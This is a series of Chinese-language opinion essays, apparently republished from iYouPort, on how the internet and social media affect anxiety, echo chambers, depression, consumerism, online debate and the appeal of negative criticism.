尤其敏感，作为纯粹信息化的工作，它不需要被限定在任何物理区域中来进行，信息在抽象的网络空间内被转换、打破再重组。当近几年前“在家工作”成为潮流时，人们欢喜雀跃，认为终于可以不坐班了，表面上看的确如此，但事实上却是，它强行拆除了工作和生活的唯一界限，也削弱了人的社会性。

「图」

「图」

走丢了的安全感

如果你的亲密关系没有在第一时间回复你的留言，你会是什么样的感觉？这类问题已经进入了反讽自嘲的段子市场，其实它一点都不可笑，很多家长甚至会在孩子没有及时回复留言的情况下拨打报警电话。这种恐慌在没有互联网的时代里是不可想像的。

数字化技术赋予人们更多的权利，提高了交流的效率，然而也同时偷走了你的安全感。这种不安全感恰恰是高效率所导致的。数字技术的性质令人们时刻处于一种情绪悬念中。

我们通过网络交流的情绪都是碎片，简短的和非正式的，只有更多的交流才能消除其不完整带来的空虚感。于是人们经常处于一种等待的状态，希望知道故事的下一步是什么。像不像希区柯克所说的“桌子下面的定时炸弹”？

在一段TED演讲中，博客作者Sherry Turkle认为，数字交流的这种特点形成了一种新的交流模式和人际关系模式，在这种模式中，情绪还没有完全形成就被表达了，同时交流和表达成为了情绪的一部分，未被交流和表达的情绪被当作不完整的情绪。思想和情绪从内在的过程，变成了一种外在的、公共的、循环的过程，自我认知的过程也越来越依赖于循环的互动，这就产生了一种“合作性的自我”。

与此同时，人们丧失了作为一个完全私人的、自我满足的个体的能力。现代文化不再要求人们学会独处，也不再培养私人状态下的反思能力，因为太快了，你还没来得及想，“它”已经被流通出去了。

这是个不断强调自由和独立的时代，但也是一个令人们失去真正独处能力的时代。

> “人们似乎完全清楚，很多重要的对话难以在互联网上实现，这里无关通讯安全，而是失去了肢体语言的

> 辅助，你很难讲清楚的那些问题。然而人们又似乎无法抵挡网络的诱惑，他们必需通过这种方便渠道在最短时间内释放自己的情绪” —— *Joseph Grenny*

网络回音壁制造的杀人狂魔

生活体验的虚拟化与述情障碍有着相似的效果：首先减轻由于被拒绝、被隔离、被嘲笑而感受到的痛苦，其次加强与他人进行联系、在社会中区分幻想和现实的无能。

2011年发生在挪威首都奥斯陆的大屠杀事件死亡八十余人，伤300余人，乃一人所为，就是被判处21年徒刑的极右翼种族主义者布雷维克（Anders Behring Breivik），1979年生，奥斯陆本地人。他也是著名角色扮演游戏《魔兽世界》的忠实玩家。那之后，他成为很多社会心理学、人格心理学研究人士的关注重点。

研究人士认为，长期接触虚拟环境是导致当代心理认知突变的重要原因。但决不是说游戏玩家都有布雷维克那种程度的心理变态，对于布雷维克来说，暴力行为的生成很复杂，其中包含了更多糟糕的童年经历、以及种族主义劣质信息的长期污染，结局是一系列综合的结果。但不可否认的是，导致心理折磨的先决条件和将大量时间投入虚拟空间活动所产生的综合效果，很有可能对年轻人造成强化的疏离感，在某种意义上诠释去社会化，并加深对身体和情感互动空间的误读。

你能从很多杀戮事件的主犯身上找到类似的逻辑线索，比如13人死亡、24人重伤的科伦拜恩屠杀事件、9人死亡、无数人受伤的约凯拉校园枪击案……尚未得见对Charlottesville 新纳粹暴力行为主犯的公开心理分析，想必其中也会存有布雷维克的阴影。

信息传播途径的增殖和电子仿真物的潮流是势不可挡的，人们已经日渐退避到有限的、与自己相同立场甚至观点都一致的虚拟空间小圈子中，在此中享受与期望相符、能巩固自身想法的信息内容。

布雷维克就是这样被铸就成杀人狂魔的。和绝大多数极右翼一样，他有严重的伊斯兰恐惧症、厌女症、对身份有强烈的净化欲求。虽然在他的博客文章《2083:欧洲独立宣言》中，布雷维克坚称自己不是纳粹热衷者，他说自己“最大的敌人就是希特勒”。

他的文字和很多网络文章一样的肤浅、偏执、煽情、大段的摘抄，但其中明显透露出他的信息来源存在高度集中，稍微自如一点的浏览方式也不至于把他塞进这个狭小的瓶颈，就是在这个瓶颈中，他被推向

了民族主义的疯狂。

在对布雷维克这位极右翼变态杀手的研究中《一起挪威的悲剧》一书这样写道：

> 信息革命的悖谬在于，尽管人们能够获得更多的信息，各种各样的误解却依旧存在……在美国，认为奥巴马是个外国穆斯林的大有人在，这些家伙本来完全可以了解得更清楚些。人们只阅读与自己政治立场相同的新闻，因此，新闻壁龛出现，“平行真相”在媒体中上演。

与人们最初想象的计算机文化乌托邦是相反的，互联网带来了盲信和偏狭的复苏。政治、宗教甚至仅仅是眼缘关系的小众组织成为互联网空间的数码部落，他们一直在试图确证自身，消除对偏执的恐惧和憎恶的怀疑。

在这种布满回音壁的网络空间里，到处都是患有恐怖症的幽灵，他们惧怕不同意见，拼命的排斥异己，逐步将自己锁入更小的牢狱。宽容、民主的辩论消失了。

被剥削着的神经

一位朋友讲述了自己卖公众号的过程。由于无心写作，又舍不得粉丝量增长带来的收益，他准备雇佣写手来维系公众号的运营，获利分成。由于对增长效果不满意，一个月内他换了七位写手，而最后一位最有趣，微信后台显示对方无法注册为管理员，原因在于“该账号已经被绑定了超过5个公众号”，这时他才明白，原来传说中的专职代笔人的确存在。

这绝不是数字时代智力工作的特例。

任何形式的人类生产都与认知活动有关，哪怕最为机械化的生产也是如此。智力实践从未缺席。但如今却是，认知生产力正逐步成为生产的核心资源。工业时代的劳动中，心智工作是重复的、下意识的、由神经指导的肌肉活动，当下的智力工作则是在不断改变自己的工作对象和工作程序，因此把心灵纳入资本保值的进程中导致了真正意义上的突变。

意识情感器官被迫受支配于竞争压力、不断增加的刺激因素，以及对其注意力的持续利用。由此来人类心灵的形成、并在其中对他人产生

关联的精神环境，就变得相当病态了。

互联网文章篇幅有限，太长了你肯定不爱看，于是这个问题在这里很难说清楚。它至少关系到三个领域的研究：智力交互下政治经济的批判学、语言-经济流体的符号学、信息领域的精神病学。感兴趣的话可以找相关论文来阅读。〇

“百忧解时代” 系列：

- 《百忧解时代（一）变质的竞争和时代性焦虑》
- 《百忧解时代（二）数字世界里焦躁的“新”人类》
- 《百忧解时代（三）令人沉迷的广义化自杀》

原文

社交媒体时代的抑郁症 - iYouPort

你如何正在被互联网所改变-媒介效应

人类的行为基本上是由一系列基本需求驱动的，了解这些需求将可以打开21世纪新现实的窗口。这些需求推动了当今最诱人的和最难以捉摸的社交引擎的核心 —— 社交媒体，它们必然会导致我们丧失权力的后果。

「图」

「图」

人类的行为基本上是由一系列基本需求驱动的，了解这些需求将可以打开21世纪新现实的窗口。这些需求推动了当今最诱人的和最难以捉摸的社交引擎的核心—— 社交媒体，它们必然会导致我们丧失权力的后果。

人类天生就是社会生物。这意味着我们的个人生活和潜力最好是在一个群体中发展而不是孤立存在，因为大脑将孤立视为一种死亡形式，大脑渴望在一些支持性的关系中建立与他人的桥梁。这种固有的需求促使我们发明了鼓励联系的社会结构，社交媒体平台是最新的形式而已。

尽管能够同时与世界各地的人联系是一件令人兴奋的事，但也必须处理其他固有的动机，并带来无法扭转的黑暗后果。社交媒体即使扩大了人际关系，也同样放大这些黑暗后果。

人类永远倾向于根据他人来衡量自己—评估我们与其他人相比的进步。这种趋势有助于使培育的观念永久化，作为克服或追赶自然优势的一种方式。不过，如果总是将自己与他人进行比较，就会产生一系列其他动机，如果管理不善，其结合可能会带来麻烦的后果。

1、人类固有的倾向是希望感受到自己优越于他人、或克服自卑感。

2、其次就是我们想要被人看到的愿望—我喜欢称之为“名人基因”。

我们都希望得到认可。因此，我们在这方面比较了其他人对我们的好感度。这可能包括比如我们的想法或个性与圈子中的其他人相比如何被接受。这就意味着，很可能会下意识地采取各种手段和策略来保持这种需求的满足。

3、我们都希望得到别人的认可。

4、我们想要被爱。

5、我们希望成为核心小组的一员，希望被突出出来，至少是不要被埋没。

在旧的连接方式中，每次我们的圈子里都只能有少量人。这种连接的速度很慢，可能需要数天甚至数月。这也限制了上述动机对人的社会和心理经历的影响范围。但社交媒体为我们提供了大量的朋友，无论是否有密切关系，我们都能立即与他们通过在线体验联系起来。毫无疑问，这改变了社交动力学。

虽然社交媒体给人的印象是一个平等的平台，一个让所有人都能被看到和被听到的地方，一个民主化的地方，但是，我们很快发现硬币通常有另一面。当它袭击我们时，这是一个非常痛苦的事实。社交媒体的伪装好像可以帮助我们克服社交不足，但最终却放大了这种不足。这种误判的实现引发了一系列情绪上的挫败感。

社交媒体让我们可以访问我们希望与之互动的人，但他们通常不会与我们互动；它给了我们成名的希望，但大多数人会嘲笑那些拥有自己可能梦想不到的名利的人；它使我们在同一平台上与其他人平等，但同样提醒我们，我们面对他人的自卑感；它让我们感到被接受却又孤立和疏远。社交媒体是一个悖论。

其中一个悖论就是面具心理学—我们突然变成了一个不同的人，进入我们所戴的面具的角色，或者突然扮演一个新的个性，因为我们戴着面具。社交媒体已成为大多数人的面具。这种危险是社交媒体上的观察者无法区分面具和现实。

因此，当我们与人们互动时，虽然再提醒自己小心不要相信我们从他们身上看到的一切，但我们同样没有理由不相信。我们知道他们可能会使用滤镜晒照片、可能会站在不知是谁的名车面前拍照、可能会吹嘘不知道是不是去过的旅游景点 ……但是我们不得不相信并点赞那个帖子，只因为它有超过300条评论和1000个点赞。这也为一个现实中害羞的人赋予了一个一键式的力量，他现在可以在推特上叱诧风云。

尤其是，当人们在线互动时，它会唤起复杂的化学反应—荷尔蒙—情绪。当我们试图在社交媒体上与某些人互动并且他们似乎没有回应时，没人知道究竟是我们被冷落了，还是他们在嫉妒。

这源于感觉平等或优越或被接受的简单动机。但这需要付出代价，即将到来的痛苦和恐惧，感受着与点赞和分享的瞬间收益完全不同的极大落差。然后内心的斗争就会增长。空虚继续隐约可见。我们不是我们向世界展示的那个人。这种空虚使许多人感到沮丧，他们现在寻求帮助。

在即时图片和过滤器的时代里，省略了进入单一摄影时刻的过程，与图片互动的人越来越难以对其有一个明智的意见，以及如何使用它与自己的生活相关。

在这个时代，所谓的成功似乎让人感觉很容易，因为我们与照片中的人没有真实的生活互动，这与没有社交媒体的时代不同。这迫使其他人对生活产生偏见，就如骨感美女时尚杂志造成的社会效应。结果是，大多数人现在认为，为成功而努力是一项不值得的事业。

这些因素会导致在社交媒体上花费大量时间的人容易感觉疲劳、压力和抑郁。可能需要一套新的技能来处理这一新现实的生物和心理影响。无论如何，我们选择继续留在社交媒体，有一件事是清楚的：社交媒体是一个放大器，它在这个时代放大了人们的抑郁。

原文

致命的刹手 - iYouPort

你如何正在被互联网所改变-媒介效应其他

BND在当下的意义是什么？

「图」

「图」

在我们的文化中，物质产品的过度消费并不是什么新鲜事。我们经常受到各种各样的产品广告的轰炸，实际上（如果你相信炒作的化）就会相信那些根本没有用的东西能“让我们的生活更美好，更刺激，更有趣，更充实”。广告是一个复杂的行业，现在他们雇用心理学家和神经科学家来找出能让您掏钱的最佳方式，从奶酪泡芙到降低胆固醇的药物。

但广告只是这种消费文化的一个方面，随着跨国公司将其产品推向全球，这种方式已成为美国乃至全世界的常态。

利润高于一切—— 高于优质手工制品、艺术品、人、自然世界、地球—— 已经变得如此阴险，以至于公司实际上设计的产品在经过一段时间后就会分崩离析。这被称为“计划性报废”，并且自 20 世纪 20 年代至 30 年代以来已经被许多不同行业所利用，因为工厂所有者开始意识到装配线制造风格正在创造出比人们买得起的产品更多的产品。他们的方案是什么？就是让旧的产品报废，于是人们将被迫购买替代品。

最重要的是，最近还出现了一种“感知性报废”的趋势，例如时装业和科技界，产品本身仍然运作良好，但每隔几个月公司就会发布一种新的、更快的、更时尚的版本。消费者们就会争先恐后地争取下一个最好的东西，只是在几个月后再次丢弃它，去追赶下一个时尚，下一个突破性的、改变生活的创新风格。

这种不断推动消费的行为并不是什么新鲜事，但随着印度和中国这样人口稠密的国家正在出现越来越多的中产阶级以及对我们在美国认为

理所当然的那种物质奢侈品的需求激增，它正变得越来越普遍。

随着对商品需求的增加，对原材料的需求也在增加，采矿、伐木和采掘业正在努力满足需求。这个问题比 iPhone 上没有足够的锂电池的问题要大得多，但是要知道，如果消费水平继续增加，地球上的资源将无法维持下去。

从 90 年代末开始在加拿大举行的无消费日活动是一年一度的抗议活动，以引起人们对这种过度消费文化的破坏性的关注，并为广告、购物和无意识的消费主义提供另一种选择。从加拿大开始，BND 迅速传播到美国、英国、日本、奥地利、以色列，现在包括全球超过 65 个国家的参与。

方法非常简单，鼓励世界上任何人参与，24小时内绝对不买任何东西，而已。有些人可能认为这很容易？但实际上，它比你想象的要复杂一些。你有任何积累的债务吗？股票？公用事业？自动账单？你真的可以花一整天不购买任何东西或参与货币体系吗？其中一些例子是极端的，几乎不可能完全退出整个资本主义制度在 24 小时内，但 BND 是关于检查你的生活方式，认识到你作为个人正在参与和支持这种过度消费文化的程度。你的钱去哪了？你花了多少？有必要吗？如果有必要，你从哪里得到收益？你用辛苦赚来的钱支持了什么样的生意？

我们生活在一个有限的星球上，在一个消耗远远超过我们生存所需的国家里。虽然我们抱怨新 iPhone 上没有耳机插孔，但在非洲的整个村庄都无法获得干净的水。我们想知道圣诞节应该买什么样的礼物给心爱的人，但也门儿童正因为没有食物而饿死。这种消费，物质主义和利润的文化是一种令人难以置信的特权，令人难以置信的不可持续。

无消费日/黑色星期五是认识到我们作为这个经济体的参与者所拥有的力量的一天，并决定我们想要如何行使它。就个人而言，我将通过拒绝购买任何东西来体验它。拯救地球：遏制你的消费。

- 关联我们曾经的文章：很多人批评苹果公司“徒有其表、实质空虚”，但实际上苹果公司和其他个人技术公司所出售的产品一样，它确实是一种生产力：这种生产力就是让人们通过最少的努力，以最快速度获得最高水平的瞬间快感的能力。注意，关键字是“瞬间”。详细：《苹果卖的究竟是什么？这个时代最关键的不是技术，而是心理学》

Buy Nothing Day: Escape consumerism; Save the planet: Curb your consumption

原文

逻辑错误 - iYouPort

你如何正在被互联网所改变-媒介效应

辩论真的会产生真理吗？也许大多数人都愿意承认”会的”。不过从哲学意义上说，也许我们对辩论的能力存在一些根本性的误解，以至于无法从中获得满足感，也无法达成目的。怎么办？

去年有一段时间内，Twitter Feed 会频繁出现一个广告，它写道：“厌倦了互联网上嘈杂的嘶喊吗？欢迎来到 Kialo！” Kialo 是世界语，意为“理由、缘由”。这是一个网站，一个合作的辩论平台，你可以在这里举办辩论会或者加入其他人发起的讨论，并为双方的争论做出贡献。

该网站的承诺是一种有序的安静，一个哲学家的林间空地—— 通过平静的有条理的对话—— 也许可以借此清洁自己的知识杂质，并用最朴素、最诚实的包装展示自己的思想。

我决定尝试一下，于是设立了一个话题，这是去年被加入了很多谈论的关于审查的热门话题：被指控滥用的艺术家作品是否应该被从文化机构中删除？作为此辩论的管理员，我主要负责评估其他贡献者的陈述应该放在哪个适合的位置，并帮助他们将初始条目分解为简明的命题。

在开始讨论的几天之内就出现了几乎所有社交媒体上都存在的那种混乱。尽管每个人都有辩论自由，但很少人有兴趣就论题本身建立论点。虽然该网站的用户是匿名的，但大部分用户名看起来都是男性。最主要的是这种状况令人疑惑：人们在遵循结构规则方面究竟遇到了多少麻烦？这些规则旨在指导我们建立连贯的论点，没有它就无法形成有效的辩论。

事实上制定连贯的论点比看起来更难。在1858年针对 Stephen Douglas 的辩论中（著名的关于奴隶制的一系列辩论）林肯就指责他的对手使用“一系列似是而非的奇妙词汇组合，一个人可以证明马栗（horse-chestnut 一种植物）是栗色马（chestnut horse 一种动

物）。“

作为观众，我们中大多数人都很容易被这种语义杂耍所迷惑。当我们试图制定自己的论据时，很可能只是偶然地将栗子和马混在一起了，而无所谓顺序。

事实证明，在网上进行文明的、精心管理的、逻辑上连贯的辩论基本不可能—— 它会使整个过程变得无聊和困难。这往往会令人怀疑：逻辑究竟是不是处理这一问题的恰当工具？不同的着眼点会产生完全互斥的两种逻辑结构，这种情况下怎么办？在上述议题下，当有人提出的论点是滥用受害者的感受、而不是艺术家所拥有的权利时，谈论就会进入死胡同—— 如果这是关于感情的问题，那还有什么可谈的呢？

该辩论网站倾向于将自己宣传为对在线普遍语言暴力进行的一套文明升级。“白痴争辩；知识分子辩论”，这是在 QallOut 上看到的一个横幅，在这里用户可以互相视频对话，讨论诸如“世界面临的最大问题是什么”、“基督教的叙述尚未得到证实吗”、或者“故意杀死一个小孩总是错误的吗”…… 等等问题。

这些网站希望组建在线辩论会可以摧毁社交媒体固有的回音壁效应，鼓励人们寻求真理，并羞辱那些胡言乱语的传播者。曾经中国的社交网络上也出现过类似的追求，至少是对上述第一点的追求：即 将观点不一致的人拉到一起。至于结果如何，大家都知道的。（下图是 IYP 去年发布的一段话）

「图」

「图」

但是，在线辩论的感知价值依赖于一种有些倒退的观念：即 逻辑具有跨越文化和其他身份的纯度。将逻辑视为人类进步的理想工具，并不是对这种解决我们共同问题的手段的实用性的反映，而是对观念之外的道德框架的渴望。

当然，用户对当代问题的逻辑应用不够严谨很可能是原因之一。但更有可能的是，答案也许并非在更严格地遵守正式辩论的规则中产生，无论是在专门的空间里还是在大众化的社交媒体上。通过理性实现人类完美性的乌托邦视野模糊了在线空间实际可以提供的东西：扩大我们作为人的概念。

该辩论网站的审核程度差异很大，讨论的质量也是如此。我看到 QallOut 的辩论主题是“一个人的衣着不是被强奸的原因”；在辩论网上，有人写道：“如果你也想杀死女权主义者，就投赞成票” ……在 createdebate.com上，有人写道：“普通犹太人会为了一分钱杀死你” ……QallOut 的创始人写道，”真正的仇恨言论无法经审查改变。其他人应该能让发表这类言论的人看起来很愚蠢和不可信“。人们通过他们的分歧性观点—— 一对一被视为一个宏大的项目，其中冲突的观点可以通过逻辑论证来制服—— 不仅仅是制服，而是实际解决。辩论本身就是一种善。

西方对修辞作为一种艺术的考虑始于 Sophists，这是公元前五世纪在雅典出现的哲学运动。Sophists 认为没有“真相”，只有感知。每个人都生活在他们自己的小宇宙中，在这个宇宙中，现实的物理属性，至少可以说是道德品质，完全是个体的，绝不能用一个共同的尺度来衡量所有人。“人是万物的衡量标准”，Protagoras 写道。如果 Protagoras 认为体育馆的水很冷，而 Hippocrates 认为它是温暖的，那么 Protagoras 就会感冒，Hippocrates 不会感冒。

在我们生活的私人领域，这种相对主义（相对）容易解决：Protagoras 可以选择不游泳；但是，在政治领域，当我们被要求共同行动时，我们如何能够弥合我们各自不同的现实之间的距离呢？Sophists 说，在这种情况下我们能做的最好的事就是推出能够说服最多数人的演说家。说服的艺术可以脱离任何客观真实的现实视野而广泛存在。如果大多数人决定将苏格拉底杀死，那么苏格拉底的死亡无论出于何种意图和目的，都会被认为是正确的。

相对主义问题是西方哲学的不倒翁之一；它被击倒往往只是为了重新弹回来。我们是否有可能知道任何事情的真相？如果是的话，我们将如何获得这些知识—— 同样，我们如何知道自己是否实现了这一点？

亚里士多德提出过一个三段论理论，通过它我们可以判断论证是否一致。在他的开创性著作“ 修辞学”中，他介绍了精神、标志和悲情的修辞术语—— 演讲者的个人可信赖性，演讲的逻辑连贯性，以及对观众感受的吸引力。

对亚里士多德而言，修辞不仅仅是在不期待推进共享知识的情况下击退争论。这就是为什么人们将“诡辩”作为一种贬义的概念，意味着将一个不好的论点伪装成一个好的论点：将逻辑推理系统化作为一种推理形式是为了消除被言语所欺骗的可能性。亚里士多德在阐述他的修辞策略理论时看到了滥用的可能性：在错误的手中，说服可能会出现

恶果。但他总体上同意类似 QallOut 网站管理员的意见—— 让人们相信那些公正而优秀的事并不难。所以污蔑犹太人的言论应该很容易反对，你的观众应该发现反对这个论点的论据更有说服力。

于是，你可能看到了，当代的辩论文化似乎是 **Sophist** 和亚里士多德信仰的交叉品种。辩论是思维的游戏化，其中胜利者是那些能够设法说服评委的辩论者或辩论团队—— 一个好的辩论者应该能够与同一个问题的任何一方观点进行争论并赢得胜利。这表明真理是相对的，说服就是全部。然而，辩论也被称赞为一种亲社会行为，人们可以通过这种行为来改善他们的思想，并可能由此建立更大的共识。

今天，在线辩论文化的基本方向是走向普遍性的，这更有可能引发一些反应—— 严重依赖“永远”和“永不”这样的词语，以及对感知到的社会弊病的极端反应倾向：“应该禁止所有宣扬暴力的音乐”、“学校应阻止 YouTube”、“纯粹的乐观主义应该被废除“ ……这是对控制性幻想的放纵—— 如果我经营这个世界我会*****。

赢得辩论就像赢得网球比赛一样，之后网球本身基本没有变化。你不能通过玩它来解决网球的潜在紧张局面，同样，你也不会通过辩论来解决问题。“被解决”—是第一个误导，因为有机会得到最终答案，这样任何人都不需要再次讨论这个问题了，徘徊在原点附近。这或许也是为什么人们对口头知识分子模式的反抗很失望。

教授辩论的网站肯定知道这一点。ProCon.org为学生提供了一个“热门辩论主题列表”，以及双方论点的简要介绍。就像你可能会在国际象棋讲座中学到的那些招式一样，有可识别的开局、可以如何给予致命反击。这是一个游戏，教我们将白色和黑色的位置相互对立；与此同时，一种乌托邦的希望仍然存在，即 在游戏结束时，黑和白可能会发现自己处于同一方向上—— 真理的一方。他们可能会以逻辑的方式到达那里。

推理与身份表面上的分离成为普遍真理和解决方案的元论证。它的作用是支持这样一种观念，即 无论是谁提供的逻辑真理，它都会独立存在。

Reddit 拥有一个名为“错误逻辑之所”的 subreddit，用户发布他们在其他 subreddits 上发现的逻辑失误的例子—Redditors 认为自己是在未开发的思想海洋中孤独遨游的哲学家；在推特上，搜索#logic标签会能看到很多赞美的帖子，具有邪教般的热情，“客观”和“智慧诚实”的力量，而不是作为认知的真正工具的感觉或经验。这些帖子假设如果那些拥有错误信念的人可以读到它们，就会让那些人对真理有

所了解。在逻辑方面宣称自己在理性自我和非理性自我之间建立了一种隐含的鸿沟—它至少需要一个名义上的对手。

像 Kialo 和 Qallout 这样的网站的精神是改革派的热情之一，就像节制运动一样：大多数网上争论都是粗鲁的和无纪律的，并且很容易转向滥用和仇恨言论，于是提供辩论而非争论的网站承诺推进人类通过礼仪和严谨的逻辑、通过知情对话，以消除错误或有害的信念。

但是，逻辑论证很少会让人改变主意，甚至不会主动去接触事实。在2016年的一篇文章中，康奈尔大学的研究人员分析了 Reddit 的 ChangeMyView 社区的数据，在那里用户提出论题并邀请其他人进行辩论，虽然结果显示，某些策略比其他策略更好些，比如对讨论框架的改变、使用具体的例子、使用更多的试探性措辞而不是以确定性的方式说话，结果显示，最终能改变观点的案例只是令人沮丧的极少数。

因为 Twitter 是一个公共空间，所以有一种看法认为，那里的任何陈述都应该接受公开的挑战。这种辩论是趋向一致性的，其中边缘化群体的利益无疑会被折损，这些群体一直在捍卫关于他们经历的陈述。即便是在民主化经验丰富的加拿大也一样，至今人们仍在努力和解定居者与土著人民之间关于“什么是现实”的矛盾。“逻辑”经常被用来作为折中经验差异的论据，以支持抽象的平等概念。

在离线世界中表达匿名的意见也很可能是一样的结果：想法可能会变得更加极端。为真理服务的公开辩论只是在道德层面上令参与者试图掩盖他们的偏见和冷漠的表面恶意。我们都知道，逻辑与人们实际处理信息的方式关系不大，特别是涉及我们将其描述为“值得商榷”的各种信念时。在 Kialo 上提出的主题—关于被指控滥用的艺术家作品是否应该被从文化机构中删除—在#MeToo运动的情感背景下会更有意义。

辩论在很多时候会很有趣。你会很高兴能遇到以前从未听过的想法，你认为理所当然的东西可能会开始看起来很古怪。寻求自我定义需要一些试错精神，而其他人可以通过考察我们的论据来帮助我们测试我们的信念。或者，有可能会被说服进入一个新的阵营，采用以前从未想过的主题信念。

对于一些相对具有普遍性的问题来说，争论是关于亲密而不是说服，这是对信任的一种表现：当没有什么不同意的时候，很容易将相互尊重视为理所当然，但真正尊重的关系是可以包容分歧的。

通过尊重彼此作为辩论伙伴的角色，我们成为追求真理的同道和合作者；还可以通过赋予哲学家的地位来显示彼此的自负，比如两位读过柏拉图的18岁年轻人可以让对方感觉自己像是最先进的知识分子。

浏览这些互联网上的讨论平台就像走进了学校的宿舍—有些人正在辩论，但其他人正工作，玩耍，说话或调情，我们认为亲密关系比辩论更有说服力。也许是时候调整对社交媒体的预期了。社交媒体充其量只能让我们看到其他人关心的内容。 Twitter 或 Instagram 不是在通过逻辑测试一个人的信仰，而是可以为其他人的世界提供一个窗口。

观察意见的冲突可能比听取拥有相似世界观和一系列经验的人们相互吹牛逼要有趣的多吧。

哲学家 Kwame Anthony Appiah 曾说过，争论不会改变人们对道德问题的看法—荣誉才能做到。改变的是“荣誉世界”—理解并承认相同行为准则的人群。互掐不仅看似不光彩，而且是非法的，部分原因是新创立的大众媒体将贵族的荣誉观引入了下层阶级的讨论中。这种暴露于嘲笑或模仿的行为为一种持续存在的实践带来了新的面貌，尽管所有的逻辑论证一直反对它。

如果辩论实际上并没有起到改变思想的作用，那么社交媒体网络的修辞能力可能会更有效，可以作为一种坚持扩大我们的荣誉世界的方式。如果一个荣誉世界是关于承认相同的行为准则，那么对一个人的价值观或实践所产生的影响是可以肯定的。例如，大多数加拿大人都认为剥夺他们的土地或违反条约是不光彩的，不论是土著人还是定居者。

辩论以其正式和非正式的表现形式，通常被视为一种善的力量——实际上，它也是文明的伟大标志之一。这部分是因为它被视为解决争端的一种替代身体暴力的方法。但是，作为一场智力竞赛的争论也可能会有利于对手。赢得一个辩论可能意味着提出一个真实而好的论点，但它也可能意味着通过个性的力量或精明的修辞策略来说服对方。

数字互动可以通过让我们彼此更密切地联系来扩大我们的荣誉世界。就如小说通过角色发展提出道德论证，于是，数字空间最好不是为了辩论的普遍性而存在的，而是为了发展我们通过差异来识别彼此的能力。与在数字空间中具有不同世界观和经验的人士广泛互动意味着更多吸取个人习惯性生活的替代方案。

与大多数内容网站不同，***IYP*** 没有付费墙、不会投放广告、也不会出

卖您的信息；我们需要您的支持来获得生存。如果您觉得我们提供的内容对您有用，您可以帮助我们活下去。谢谢！***PayPal*** 和 比特币捐助通道已开通，您可以在网页上找到两个浅橙色按钮

原文

鄙视带来的优越感 - iYouPort

你如何正在被互联网所改变-媒介效应

我们在社交网络上很难看到赞誉，在任何语种中都是如此；观察中国社交网络的这几年来我们发现，很多政治评论家对”谁的方法不行”梳理得头头是道，但从来没听说过他们赞赏”谁的方法最有希望”，难道没有任何希望吗？这肯定是不合理的 ... 这种生态来自哪里？它造成了什么样的危机？

如今这个时代你会更容易发现，很多人倾向于努力批评别人而不是表达赞赏、钦佩或合作的欲望。其实这不一定意味着被批评者真的很差，而是评论者在努力表现他们自己的智商优越感。

由于已经有很多证据可以支持这一结论，它已经不言而喻了：即 否定意见能令人看起来更聪明。

在20世纪80年代，哈佛大学研究员特雷莎·阿马比尔（Teresa Amabile）从“纽约时报 ”的书评部分中找出了两篇文学评论：一篇是正面赞赏的，一篇是否定的，她把这两篇文章向55名学生展示。学生们普遍得出的结论是：表达批评意见的作者比表达赞美意见的作者更加聪明、看起来更有说服力。

然而，事实上，这两篇文章是同一位评论家写的，而且是同一评论的改编版本。约翰·斯图亚特·穆勒（John Stuart Mill）写道，“并不是那个在其他人绝望的时候满怀希望的人，而是那个在其他人都满怀希望时表达绝望的人，被一大群人视为圣人。”

我们不得不为这种状况心冷。鉴于当下弥漫的虚无主义情绪—它正在迅速令所有人变得虚弱和悲情—面对如此的环境，除了客观审视现实并寻找出路之外，别无他法。如果越来越多的人深陷虚无主义，我们拥有的可联合基数就会迅速下降，直至积极人士彻底变成被边缘的小众，甚至变成“那些愚蠢的理想主义废物”。

中文 Twitter 是很容易观察到这种氛围的地方，看看这多年来那些转发量最高的和最著名的政治评论者都是什么样的口吻，就能明白了。事实上社交媒体本身正是最容易观察到这一现象的平台，不论在任何语种群体内，它都是突出的。

要想扭转这一局面可能非常困难。在某种程度上，这是因为责备实际上比赞美更为罕见。在过去的50年里，跨文化研究已经证明了一种被称为语言积极性偏见的现象：人类的言语中充满了“伟大”、“可爱”和“令人惊讶”之类的词汇，而像“可怕”、“丑陋”这样的词汇并不那么频繁出现。这大概是因为人们主要使用语言作为一种将自身和周围社区更紧密地联系在一起的手段，从而提高了创造社区感的词语使用频率。批评和贬低的词汇由于它们不是常态因而很容易被突出，这反过来便向读者或听众发出了信号，表明他们将自己与群体区别开来。

因此，作为一种可选择性的否定不仅会让你看起来更具洞察力，而且能享有充分表现力的机会：这些批评的词汇为表达者自己提供了自我满足感。

Yelp 甚至因此为个人提供了一个平台专门吐槽用，无论是创造性地还是仅仅自以为是的。你可以理解为中国的“大众点评”，只是更突出地专注于刺激激烈的反馈。Greyhound buses 倒是的确引发了一些创造性的批评。2012年，一位名叫 Sonia B.的用户键入了以下内容：

Greyhound, Greyhound

You’re not that fast,

If you were in a race you’d probably finish last.

I use you sometimes when I’m going far,

Even though your service is kind of sub-par.

But when I consider gas prices these days,

You really often are the cheapest way.

(Especially the advance webfare).

我敢说这样的诗歌几乎不会被任何正规媒体发表。这正是激励 Yelp 评论家的一个主要因素：不一定表达对产品和服务的热情观点，而是表达那种最能令自己涨粉的观点。在2014年 Fast Company 的采访

中，Yelp 的副总裁说，“如果你在 Yelp 上写下很棒的东西，你就会知道很多人都能读到它们。你会发出自己的声音。Yelp 就是你的扩音器。“

其实每个社交媒体平台都是“扩音器”，它们都在史无前例地激发所有人的自恋情绪和表现欲。

更多的扩音器意味着更多的表现机会。但是，无疑，被放大的悲观虚无情绪表达会对当下的反抗形式造成严重的影响—— 因为吐槽是无效的，即便吐槽对象满身都是梗，也是一样，吐槽永远不是解决方案，想办法扳倒邪恶才是。

「图」

「图」

然而，社交媒体的表现欲刺激让绝大多数人的力气都被浪费在吐槽上了。

发泄的自由感觉赋予了某种权力，它的确令人兴奋，但是当在社交媒体这种基于声誉的劳动力市场上释放时，它就变成了一种强大的气场，以至于观察人士会误认为整个社会都没有改变的智慧、甚至没有意图。事实上很可能并非如此，反抗的智慧和意图只是被虚无的氛围所掩盖了。而当局对批判者的抓捕和压制更加促进了人们对吐槽之能力的误会。

如果说 Yelp 提供的是一个准文学或艺术自我表达的机会，那么 Uber 或 Ziosk（一个鼓励人们给连锁餐厅的服务打分的应用程序）就是在要求用户主要通过数字表达自己，有时伴随着现成的评论可以从列表中选择。用户并不是必须填写评价，正相反，是公司提示或要求用户反馈，好像一个人的满意或不满是公司最关心的问题。

